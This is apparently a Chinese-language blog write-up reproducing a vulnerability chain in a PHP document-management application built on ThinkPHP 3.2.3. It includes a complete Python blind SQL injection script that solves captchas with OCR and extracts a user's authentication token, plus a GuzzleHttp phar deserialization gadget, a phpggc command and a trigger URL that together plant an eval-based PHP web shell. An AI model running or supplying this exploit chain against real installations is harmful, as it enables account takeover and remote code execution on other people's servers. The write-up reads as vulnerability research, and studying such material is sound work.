SQL注入点寻找 当时的通报是这个,当时在3.2.5版本根本没有修复这个sql注入,对着commit提交的那几个路由一直找也没找出注入点。。。不久后发布了3.2.6版本一眼就能看出注入点
很明显看到对item_id
进行了修复做了应该是预处理,来到源码看一下
记得当时分析的时候对page_id/d
这种写法看了很久,后面调试的时候一步步跟进去才明白作用,其实就是做强转处理
所有这里的I
接收的参数后面只能为空或者s这两种,否则就会被强转为其它的,很明显没有做任何处理,直接拼接进了sql语句中符合要求即注入点
注入过程 在注入的过程中遇到了一个点就是下面这段检测代码
1 2 3 4 if (!D ("Captcha" )->check ($captcha_id , $captcha )) { $this ->sendError (10206 , L ('verification_code_are_incorrect' )); return ; }
当时半天没搞懂这怎么绕,后面翻译了一下这个单词,其实就是验证码。。。那么就只需要去弄个验证码就行,抓一下验证码接口,发现请求验证码分了两部
第一步就是先得到这个captcha_id
,然后根据这个id再去请求验证码
验证码用一次就失效了
成功报错,接下来就是注出数据了,但是这个验证码得解决一下,不知道为啥我小皮起的环境加载网页慢死,解决验证码本来是想着用captcha-killer-modified 这个插件的,但是它有个captcha_id这样就不方便了,所以直接写脚本利用ddddocr去识别验证码即可,这个解决简单,但是因为这里是盲注所以注出数据得有个布尔条件,由于本地环境问题没能好好对数据库进行调试,无奈只能看别人怎么弄的了,造成布尔判断是结合下面这里
1 2 3 4 5 6 if ($password && $item ['password' ] == $password ) { session ("visit_item_" . $item_id , 1 ); $this ->sendResult (array ("refer_url" => base64_decode ($refer_url ))); } else { $this ->sendError (10010 , L ('access_password_are_incorrect' )); }
这里password我们可以设置为1,那么只要$item['password']
为1即可进入if为0进入else,所以这里只要构造查询正确时$item['password']
为1错误时为0布尔条件就出来了,item表结构如下
password为第六行,所以我们在第六行做一次布尔判断即可达到最终的布尔条件判断
我本机的token值第一位是9,可以看到此时布尔判断为1
当不为9时判断为0,所以通过此种方法即可注出token数据,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsimport ddddocrurl = 'http://192.168.1.129:8080' ocr = ddddocr.DdddOcr() table = "0123456789abcdefghijklmnopqrstuvwxyz" def get_captcha (): id = requests.get(url=url+'/server/index.php?s=/api/common/createCaptcha' ) captcha_id = id .json()['data' ]['captcha_id' ] captcha_re = requests.get(url=url+f'/server/index.php?s=/api/common/showCaptcha&captcha_id={captcha_id} &1717902973000' ) captcha = ocr.classification(captcha_re.content) return captcha_id,captcha def Injection (): captcha_id,captcha = get_captcha() token = "" for i in range (1 ,65 ): for j in list (table): while True : payload = f"1') union select 1,2,3,4,5,substr((select token from user_token where uid=1),{i} ,1)='{j} ',7,8,9,10,11,12-- " result = requests.get(url=url + f'/server/index.php?s=/api/item/pwd&password=1&captcha_id={captcha_id} &captcha={captcha} &item_id={payload} ' ,proxies={'http' :'http://127.0.0.1:8080' }) if "refer_url" in result.text: token += j print ("注出来的token为:" +token) break elif result.json()['error_code' ] == 10206 : captcha_id,captcha = get_captcha() continue else : break if len (token) == i: break if __name__ == '__main__' : Injection()
效果还行,大佬们真滴猛,这个布尔条件自己找还真不一定找的出来
由于鉴权基本上都是通过这个token来的,所以拿到这个token即可进入后台
反序列化 这里直接看3.2.5的修复commit
就是将这个方法从public改为了private,来到这个函数下看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public function new_is_writeable($file) { if (is_dir($file)) { $dir = $file; if ($fp = @fopen("$dir/test.txt" , 'w' )) { @fclose($fp ); @unlink("$dir/test.txt" ); $writeable = 1 ; } else { $writeable = 0 ; } } else { if ($fp = @fopen($file, 'a+' )) { @fclose($fp ); $writeable = 1 ; } else { $writeable = 0 ; } } return $writeable; } }
里面有一个fopen,这个函数可以触发ssrf和phar反序列化,我尝试了一下ssrf,file确实可控但是dnslog并没有收到请求
可以看到这个file已经变为了我指定的dnslog地址,后来查了一下这个大部分PHP并不会开启fopen的 gopher wrapper所以请求不会成功
但是这个函数还可以拿来利用phar反序列化
phar 反序列化点已经找到,接下来找文件上传和链子即可 ,上传点好找,进后台即可找到
访问这个地址可以转到真实的图片地址,接下来寻找反序列链即可
这个doc是基于thinkphp3.2.3,在这个版本的thinkphp似乎更多的是sql注入,能rce的不多,看大佬们直接利用的是GuzzleHttp这个第三方库
分析思路就是看是否存在composer,即第三方依赖,然后寻找GuzzleHttp,发现存在直接打
在phpggc整合了这条链直接生成即可,因为存在白名单所以生成它运行的后缀即可,大佬直接给了生成命令
1 ./phpggc Guzzle/FW1 "/var/www/html/Public/Uploads/shell.php" ./shell.php -p phar -pp ./gif -o out.png
但是我直接生成的图片利用失败,不知道是不是我提供的图片问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php namespace GuzzleHttp\Cookie { class CookieJar { private $cookies; public function __construct() { $this->cookies = array(new SetCookie()); } private $strictMode; } class FileCookieJar extends CookieJar { private $filename = "/var/www/html/shell.php" ; private $storeSessionCookies = true; } class SetCookie { private $data = array('Expires' => '<?php eval($_POST[0]);?>' ); } } namespace { $phar = new Phar("shell.phar" ); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); //设置stub $o = new \GuzzleHttp\Cookie\FileCookieJar(); $phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest $phar->addFromString("test.txt" , "test" ); //添加要压缩的⽂件 //签名⾃动计算 $phar->stopBuffering(); }
利用这个脚本生成phar,然后手动改后缀为jpg,上传后拿地址在反序列化点打一下即可
1 /server/index.php?s=/home/index/new_is_writeable&file=phar://Public/Uploads/2024 -06-15 /666d7515df4fd.jpg
利用成功
一点感悟 在这个漏洞没公开poc时我就在尝试复现,但是当时在对着commit死磕那个sql注入,磕了一天连注入点都没找到以为很难就没看了,分析文章出来后虽然利用有难度,但是找到利用点还是挺简单的,以后再做类似复现还是得灵活一点。。。。
参考 https://xz.aliyun.com/t/14802
https://xz.aliyun.com/t/14808